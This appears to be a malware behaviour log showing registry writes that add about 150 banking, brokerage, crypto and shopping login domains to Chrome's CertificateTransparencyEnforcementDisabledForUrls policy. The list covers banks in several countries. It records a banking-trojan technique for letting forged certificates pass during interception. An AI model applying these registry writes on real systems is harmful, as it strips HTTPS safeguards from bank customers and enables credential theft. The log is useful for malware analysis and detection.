Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 31, data = invest.ameritrade.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 32, data = www.choicehotels.com, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 33, data = choicehotels.com, size = 16, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 34, data = onepass.regions.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 35, data = accweb.mouv.desjardins.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 36, data = accesd.mouv.desjardins.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 37, data = secure.ally.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 38, data = www.ally.ccservicing.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 39, data = ally.ccservicing.com, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 40, data = www.ally.com, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 41, data = ally.com, size = 8, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 42, data = onlinebanking.suntrust.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 43, data = onlinebanking.tdbank.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 44, data = client.schwab.com, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 45, data = lms.schwab.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 46, data = www.bankofamerica.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 47, data = bankofamerica.com, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 48, data = secure.bankofamerica.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 49, data = cashproonline.bankofamerica.com, size = 31, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 50, data = allmyaccounts.bankofamerica.com, size = 31, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 51, data = finapp.allmyaccounts.bankofamerica.com, size = 38, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 52, data = securentrycorp.vectrabank.com, size = 29, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 53, data = bank.bbt.com, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 54, data = online.citi.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 55, data = businessaccess.citibank.citigroup.com, size = 37, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 56, data = accountonline.citi.com, size = 22, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 57, data = www.citi.com, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 58, data = citi.com, size = 8, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 59, data = securentrycorp.zionsbank.com, size = 28, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 60, data = www.lexisnexis.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 61, data = lexisnexis.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 62, data = www, size = 3, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 63, data = securentrycorp.calbanktrust.com, size = 31, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 64, data = fireline.firelandsfcu.org, size = 25, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 65, data = www.binance.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 66, data = binance.com, size = 11, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 67, data = onlinebanking.usbank.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 68, data = singlepoint.usbank.com, size = 22, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 69, data = banking.firsttechfed.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 70, data = access.jpmorgan.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 71, data = vesidm.verizonwireless.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 72, data = olb.bbvacompass.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 73, data = www.bbvacompass.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 74, data = bbvacompass.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 75, data = www.usaa.com, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 76, data = usaa.com, size = 8, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 77, data = connect.secure.wellsfargo.com, size = 29, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 78, data = www.wellsfargo.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 79, data = wellsfargo.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 80, data = global.americanexpress.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 81, data = www.americanexpress.com, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 82, data = americanexpress.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 83, data = online.americanexpress.com, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 84, data = us.etrade.com, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 85, data = www.onlinebanking.pnc.com, size = 25, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 86, data = onlinebanking.pnc.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 87, data = www.capitalone.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 88, data = capitalone.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 89, data = verified.capitalone.com, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 90, data = secure.accurint.com, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 91, data = secure.halifax-online.co.uk, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 92, data = www.halifax-online.co.uk, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 93, data = halifax-online.co.uk, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 94, data = www.amazon.ca, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 95, data = amazon.ca, size = 9, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 96, data = www.amazon.de, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 97, data = amazon.de, size = 9, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 98, data = www.amazon.co.uk, size = 16, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 99, data = amazon.co.uk, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 100, data = sellercentral.amazon.com, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 101, data = www.simplii.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 102, data = simplii.com, size = 11, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 103, data = online.simplii.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 104, data = express.53.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 105, data = www.key.com, size = 11, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 106, data = key.com, size = 7, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 107, data = ibx.key.com, size = 11, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 108, data = keynavigator.key.com, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 109, data = securentrycorp.amegybank.com, size = 28, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 110, data = mblogin.verizonwireless.com, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 111, data = www.rbsdigital.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 112, data = rbsdigital.com, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 113, data = www.nwolb.com, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 114, data = nwolb.com, size = 9, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 115, data = retail.santander.co.uk, size = 22, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 116, data = online.bankofscotland.co.uk, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 117, data = ebanking.es.rbcis.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 118, data = www.volkswagenbank.es, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 119, data = volkswagenbank.es, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 120, data = clientes.selfbank.es, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 121, data = bancoonline.openbank.es, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 122, data = id.oney.es, size = 10, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 123, data = clientes.uci.es, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 124, data = www.bankia.es, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 125, data = bankia.es, size = 9, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 126, data = www2.targobank.es, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 127, data = www.novobanco.es, size = 16, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 128, data = novobanco.es, size = 12, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 129, data = www2.popularbancaprivada.es, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 130, data = conecta.es.rbcis.com, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 131, data = nbnet.novobanco.es, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 132, data = newentreprises.interepargne.natixis.com, size = 39, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 133, data = cib.natixis.com, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 134, data = epargnants.interepargne.natixis.fr, size = 34, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 135, data = bancaelectronica.evobanco.com, size = 29, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 136, data = be.abanca.com, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 137, data = mylo.lombardodier.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 138, data = cs1.credistar.com, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 139, data = www.eurocredito.es, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 140, data = eurocredito.es, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 141, data = entreprises.retraite.assurances.natixis.com, size = 43, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 142, data = caixadirecta.colonya.es, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 143, data = bancaporinternet.bancocaixageral.es, size = 35, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 144, data = barclaysnet.barclays.es, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 145, data = www.bsfincomonline.com, size = 22, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 146, data = bsfincomonline.com, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 147, data = bsi.ar-ent.net, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 148, data = www.carife.it, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 149, data = carife.it, size = 9, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 150, data = www.bancacrasti.it, size = 18, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 151, data = bancacrasti.it, size = 14, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 152, data = www.biverbanca.it, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 153, data = biverbanca.it, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 154, data = app.secservizi.it, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 155, data = bebank.bpel.net, size = 15, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 156, data = ibbweb.tecmarket.it, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 157, data = tesoreriaonline.bper.it, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 158, data = youwebcard.bancopopolare.it, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 159, data = bywebcard.bancopopolare.it, size = 26, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 160, data = www.bpmbanking.it, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 161, data = bpmbanking.it, size = 13, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 162, data = telemacoweb.credem.it, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 163, data = webteso.ubibanca.it, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 164, data = areariservata.bancamarche.it, size = 28, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 165, data = compasspay.compass.it, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 166, data = secure.bancaifis.it, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 167, data = www.suedtirolbank.eu, size = 20, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 168, data = suedtirolbank.eu, size = 16, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 169, data = www.albertinisyzbank.it, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 170, data = albertinisyzbank.it, size = 19, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 171, data = www.collegiosindacale.bcc.it, size = 28, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 172, data = collegiosindacale.bcc.it, size = 24, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 173, data = rob.raiffeisen.it, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 174, data = onlinebanking.carrefourbanca.it, size = 31, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 175, data = portale.tercas.it, size = 17, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 176, data = www.fondazionecarispezia.it, size = 27, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 177, data = fondazionecarispezia.it, size = 23, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 178, data = statements.eabplc.com, size = 21, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 179, data = edrsgrspa.edmond-de-rothschild.it, size = 33, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 180, data = dbonline.deutsche-bank.it, size = 25, type = REG_SZ True 1
Fn
Write Value HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\CertificateTransparencyEnforcementDisabledForUrls value_name = 181, data = ib.raikaritten.it, size = 17, type = REG_SZ True 1
Fn
